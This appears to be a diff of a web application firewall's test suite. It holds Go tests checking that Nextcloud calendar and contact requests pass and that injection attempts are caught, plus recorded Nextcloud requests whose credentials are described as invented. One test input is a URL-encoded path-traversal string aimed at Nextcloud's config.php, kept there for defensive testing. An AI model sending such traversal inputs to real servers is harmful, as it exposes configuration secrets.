request, score := nextcloudBodyScore(t, crs, sent, described.description)
if score >= nextcloudThreshold {
t.Errorf("%s refused: %d", request, score)
}
for _, attack := range []string{
sqlInjection, "..%2F..%2Fconfig%2Fconfig.php", scriptInjection, commandInjection,
} {
written, err := url.QueryUnescape(attack)
if err != nil {
t.Fatal(err)
}
request, score := nextcloudBodyScore(t, crs, sent, written)
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
// An MKCOL on the calendars' paths skips only the rules for names.
sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
request, score = nextcloudBodyScore(t, crs, sent, described.description)
if score < nextcloudThreshold {
t.Errorf("%s let through: %d", request, score)
}
}
}
// nextcloudChangedEvent is the Content-Type of the PUT with which the
// Calendar app changes an event.
const nextcloudChangedEvent = "Content-Type: text/calendar; charset=UTF-8; " +
"component=vevent; charset=UTF-8"
func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, changed := range []request{
{http.MethodPut, nextcloudCalendars + "work/1.ics", []string{nextcloudChangedEvent}},
{
http.MethodPut, nextcloudAddressBooks + "team/1.vcf",
[]string{"Content-Type: text/vcard; charset=UTF-8; charset=UTF-8"},
},
} {
wantResult(t, crs, changed, matched())
}
// Elsewhere, with another method or another type, two charsets are refused.
for _, refused := range []request{
{http.MethodPut, nextcloudFiles + "1.ics", []string{nextcloudChangedEvent}},
{http.MethodPost, nextcloudCalendars + "work/1.ics", []string{nextcloudChangedEvent}},
{
http.MethodPut, nextcloudCalendars + "work/1.ics",
[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
},
} {
if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
t.Errorf("%s %s %q let through: %+v",
refused.method, refused.target, refused.headers, got)
}
}
}
// nextcloudUploads are a JSON file and an XML file, as the Files app uploads
+45
View File
@@ -2,6 +2,8 @@
# at the defaults. They were recorded from a Nextcloud driven by a headless
# Chrome, by its command-line sync client 3.16.7 and by an API client. The API
# client's LOCK and UNLOCK send what the desktop client's "Lock file" action
# sends. The last lines come from the Calendar app 6.6.5, the Contacts app
# 8.9.5 and an API client sending what the CalDAV and CardDAV client DAVx5
# sends. Each line is one request as JSON. Host names, passwords and session
# cookies are invented, and the bodies of large uploads are shortened.
{"method": "GET", "target": "/status.php", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*"], "body": ""}
@@ -1340,3 +1342,46 @@
{"method": "PUT", "target": "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom?format=json", "headers": ["Accept-Encoding: identity", "Content-Length: 94", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "Ocs-Apirequest: true", "Content-Type: application/json", "Accept: application/json, text/plain, */*", "Connection: close"], "body": "{\"message\": \"Run python3 or powershell; ls -la shows .htaccess\", \"statusIcon\": \"\\ud83d\\udcbb\"}"}
{"method": "LOCK", "target": "/remote.php/dav/files/admin/Release%20notes/Changelog.txt", "headers": ["Host: example.com", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "User-Agent: Mozilla/5.0 (Linux) mirall/3.16.7-1~deb13u1 (Debian built) (Nextcloud, debian-6.8.0-111-generic ClientArchitecture: x86_64 OsArchitecture: x86_64)", "Accept: */*", "X-User-Lock: 1", "X-User-Lock-Type: 0", "Accept-Encoding: zstd, br, gzip, deflate", "Accept-Language: en,*", "If-Match: \"eb3db988a3b1c732d32158448e23d679\"", "X-Request-Id: dc0bcced-fcdb-4bc1-bc97-e50a5ec9061b", "Connection: close"], "body": ""}
{"method": "UNLOCK", "target": "/remote.php/dav/files/admin/Release%20notes/Changelog.txt", "headers": ["Host: example.com", "Authorization: Basic YWRtaW46RXhhbXBsZS1hZG1pbi1wYXNz", "User-Agent: Mozilla/5.0 (Linux) mirall/3.16.7-1~deb13u1 (Debian built) (Nextcloud, debian-6.8.0-111-generic ClientArchitecture: x86_64 OsArchitecture: x86_64)", "Accept: */*", "X-User-Lock: 1", "X-User-Lock-Type: 0", "Accept-Encoding: zstd, br, gzip, deflate", "Accept-Language: en,*", "X-Request-Id: 7c787543-2c5d-44e9-aba9-2637d14b20df", "Connection: close"], "body": ""}
{"method": "GET", "target": "/apps/calendar/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Ts5zYj7naQP3GheX7H7K167jO15GVEq2HkN8vykCMFvb6DnLvNz2m7gtpRt%2BKsrJym%2BXPJWaVo6pnKtTM%2BjYmjZvdRgUctVgus5o3LZimSHceSsVlu8NjD2WDmsDIx4V; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=8474e1f17fd9d938bc4b8e486912f9fa; nc_username=admin; nc_token=OwwyIG8%2Bb6S30Gg6r5mEEP0P8Ecl1eWF; nc_session_id=8474e1f17fd9d938bc4b8e486912f9fa"], "body": ""}
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 7492", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: T9BYhAAPsoWkxhIXPRIfPCLrhh7YF/3Sk0qX6zF2c4E=:OLYXzC9E5tDojCdSb0cofhec/3voe4q/9T7a2R48KsU=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Ts5zYj7naQP3GheX7H7K167jO15GVEq2HkN8vykCMFvb6DnLvNz2m7gtpRt%2BKsrJym%2BXPJWaVo6pnKtTM%2BjYmjZvdRgUctVgus5o3LZimSHceSsVlu8NjD2WDmsDIx4V; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=8474e1f17fd9d938bc4b8e486912f9fa; nc_username=admin; nc_token=OwwyIG8%2Bb6S30Gg6r5mEEP0P8Ecl1eWF; nc_session_id=8474e1f17fd9d938bc4b8e486912f9fa"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/ical/\"/><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\"/><x5:getctag xmlns:x5=\"http://calendarserver.org/ns/\"/><x1:calendar-description xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-resource-size xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:min-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-instances xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-attendees-per-instance xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-collation-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-free-busy-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-calendar-transp xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-default-calendar-URL xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\"/><x3:default-alarm-part-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:default-alarm-full-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:owner-displayname xmlns:x3=\"http://nextcloud.com/ns\"/><x3:trash-bin-retention-duration xmlns:x3=\"http://nextcloud.com/ns\"/><x3:deleted-at xmlns:x3=\"http://nextcloud.com/ns\"/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/ical/\"/><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\"/><x5:getctag xmlns:x5=\"http://calendarserver.org/ns/\"/><x1:calendar-description xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-resource-size xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:min-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-instances xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-attendees-per-instance xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-collation-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-free-busy-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-calendar-transp xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-default-calendar-URL xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\"/><x3:default-alarm-part-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:default-alarm-full-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:owner-displayname xmlns:x3=\"http://nextcloud.com/ns\"/><x3:trash-bin-retention-duration xmlns:x3=\"http://nextcloud.com/ns\"/><x3:deleted-at xmlns:x3=\"http://nextcloud.com/ns\"/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/icaLine truncated
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/personal/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 514", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: T9BYhAAPsoWkxhIXPRIfPCLrhh7YF/3Sk0qX6zF2c4E=:OLYXzC9E5tDojCdSb0cofhec/3voe4q/9T7a2R48KsU=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Ts5zYj7naQP3GheX7H7K167jO15GVEq2HkN8vykCMFvb6DnLvNz2m7gtpRt%2BKsrJym%2BXPJWaVo6pnKtTM%2BjYmjZvdRgUctVgus5o3LZimSHceSsVlu8NjD2WDmsDIx4V; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=8474e1f17fd9d938bc4b8e486912f9fa; nc_username=admin; nc_token=OwwyIG8%2Bb6S30Gg6r5mEEP0P8Ecl1eWF; nc_session_id=8474e1f17fd9d938bc4b8e486912f9fa"], "body": "<x1:calendar-query xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data/></x0:prop><x1:filter><x1:comp-filter name=\"VCALENDAR\"><x1:comp-filter name=\"VEVENT\"><x1:time-range start=\"20261101T000000Z\" end=\"20261213T000000Z\"/></x1:comp-filter></x1:comp-filter></x1:filter></x1:calendar-query>"}
{"method": "MKCOL", "target": "/remote.php/dav/calendars/admin/python3-and-powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 1081", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x0:mkcol xmlns:x0=\"DAV:\"><x0:set><x0:prop><x0:resourcetype><x0:collection/><x1:calendar xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/></x0:resourcetype><x0:displayname>Python3 and powershell</x0:displayname><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\">#1E78C1</x6:calendar-color><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\">1</x4:calendar-enabled><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\">BEGIN:VCALENDAR\r\nPRODID:-//IDN nextcloud.com//Calendar app 6.6.5//EN\r\nCALSCALE:GREGORIAN\r\nVERSION:2.0\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nEND:VTIMEZONE\r\nEND:VCALENDAR</x1:calendar-timezone><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x1:comp name=\"VEVENT\"/></x1:supported-calendar-component-set></x0:prop></x0:set></x0:mkcol>"}
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 7492", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/ical/\"/><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\"/><x5:getctag xmlns:x5=\"http://calendarserver.org/ns/\"/><x1:calendar-description xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-resource-size xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:min-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-instances xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-attendees-per-instance xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-collation-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-free-busy-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-calendar-transp xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-default-calendar-URL xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\"/><x3:default-alarm-part-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:default-alarm-full-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:owner-displayname xmlns:x3=\"http://nextcloud.com/ns\"/><x3:trash-bin-retention-duration xmlns:x3=\"http://nextcloud.com/ns\"/><x3:deleted-at xmlns:x3=\"http://nextcloud.com/ns\"/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlns:x6=\"http://apple.com/ns/ical/\"/><x6:calendar-color xmlns:x6=\"http://apple.com/ns/ical/\"/><x5:getctag xmlns:x5=\"http://calendarserver.org/ns/\"/><x1:calendar-description xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-timezone xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-component-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-resource-size xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:min-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-date-time xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-instances xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:max-attendees-per-instance xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:supported-collation-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:calendar-free-busy-set xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-calendar-transp xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x1:schedule-default-calendar-URL xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/><x4:calendar-enabled xmlns:x4=\"http://owncloud.org/ns\"/><x3:default-alarm-part-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:default-alarm-full-day xmlns:x3=\"http://nextcloud.com/ns\"/><x3:owner-displayname xmlns:x3=\"http://nextcloud.com/ns\"/><x3:trash-bin-retention-duration xmlns:x3=\"http://nextcloud.com/ns\"/><x3:deleted-at xmlns:x3=\"http://nextcloud.com/ns\"/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x4:invite xmlns:x4=\"http://owncloud.org/ns\"/><x5:allowed-sharing-modes xmlns:x5=\"http://calendarserver.org/ns/\"/><x5:publish-url xmlns:x5=\"http://calendarserver.org/ns/\"/><x6:calendar-order xmlnsLine truncated
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 514", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x1:calendar-query xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data/></x0:prop><x1:filter><x1:comp-filter name=\"VCALENDAR\"><x1:comp-filter name=\"VEVENT\"><x1:time-range start=\"20261031T230000Z\" end=\"20261212T230000Z\"/></x1:comp-filter></x1:comp-filter></x1:filter></x1:calendar-query>"}
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 433", "Depth: 1", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: mXmOIpCPAL0v5/l0V933/IzwxYkAYL6iFIH1E4WqQzo=:3R63VvXhdO9Evqs5OZG4hr2Fl8NDM9z3P82iefPNBHE=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Wtbkii%2BmzC90XuRtc%2BvcKMf7hUCPYaI0XVVoDitZUBj%2F4uAtmL6fuby2YBopwPZnCMDJ%2FMmB2vmkiL7ebxNr6fchO1dcS8iUAI4WwQ540128a0wiC%2BvWk1Nsf3ztb4MW; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ea48f87178f072cb4f97ce18c83b205e; nc_username=admin; nc_token=dc7eEfRUh%2F3SjX%2FPfgXjdXOGTBkH7Pgz; nc_session_id=ea48f87178f072cb4f97ce18c83b205e"], "body": "<x1:calendar-query xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data/></x0:prop><x1:filter><x1:comp-filter name=\"VCALENDAR\"><x1:comp-filter name=\"VTODO\"/></x1:comp-filter></x1:filter></x1:calendar-query>"}
{"method": "PUT", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/3CA0C88E-5919-4A63-98EC-63AD263E3CC5.ics", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 894", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: NoV4Zq/S7YgAua9Ljqgt2aMX3Ay8QCHM8coG6JCoYrI=:R8whCNqlqNtHwZd++NxstMtC5EnLGW+ZxZspkt77Nf8=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/calendar; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FMi8hZeTy%2F4Kx%2B2PHX9tU5S4%2BR36N7n9Ba8eK4VIfdPzVKeKzg147kX8vZKMt0jwenX9yY9G6g5jk2bruL5OQdLJkJRiWxnQnXkftzvuAexWK6%2Fia4Izn%2BoVSsiAuDd7; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=02c4326bbee9f15d812eec41be2c5a90; nc_username=admin; nc_token=t43HZet4TBWuMLJQjBXmR0eeWd4vmXlC; nc_session_id=02c4326bbee9f15d812eec41be2c5a90"], "body": "BEGIN:VCALENDAR\r\nPRODID:-//IDN nextcloud.com//Calendar app 6.6.5//EN\r\nCALSCALE:GREGORIAN\r\nVERSION:2.0\r\nBEGIN:VEVENT\r\nCREATED:20261110T090325Z\r\nDTSTAMP:20261110T090330Z\r\nLAST-MODIFIED:20261110T090330Z\r\nSEQUENCE:3\r\nUID:60dddeaf-fc50-40c3-a8e1-9f05366eb58d\r\nDTSTART;TZID=Europe/Berlin:20261110T110025\r\nDTEND;TZID=Europe/Berlin:20261110T120025\r\nTRANSP:OPAQUE\r\nSTATUS:CONFIRMED\r\nSUMMARY:Python3 workshop\r\nLOCATION:Room .htaccess\\, Powershell Lane\r\nDESCRIPTION:Bring a laptop with python3 and powershell\\; we run ls -la firs\r\n t.\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nEND:VTIMEZONE\r\nEND:VCALENDAR"}
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/3CA0C88E-5919-4A63-98EC-63AD263E3CC5.ics", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 318", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: NoV4Zq/S7YgAua9Ljqgt2aMX3Ay8QCHM8coG6JCoYrI=:R8whCNqlqNtHwZd++NxstMtC5EnLGW+ZxZspkt77Nf8=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: 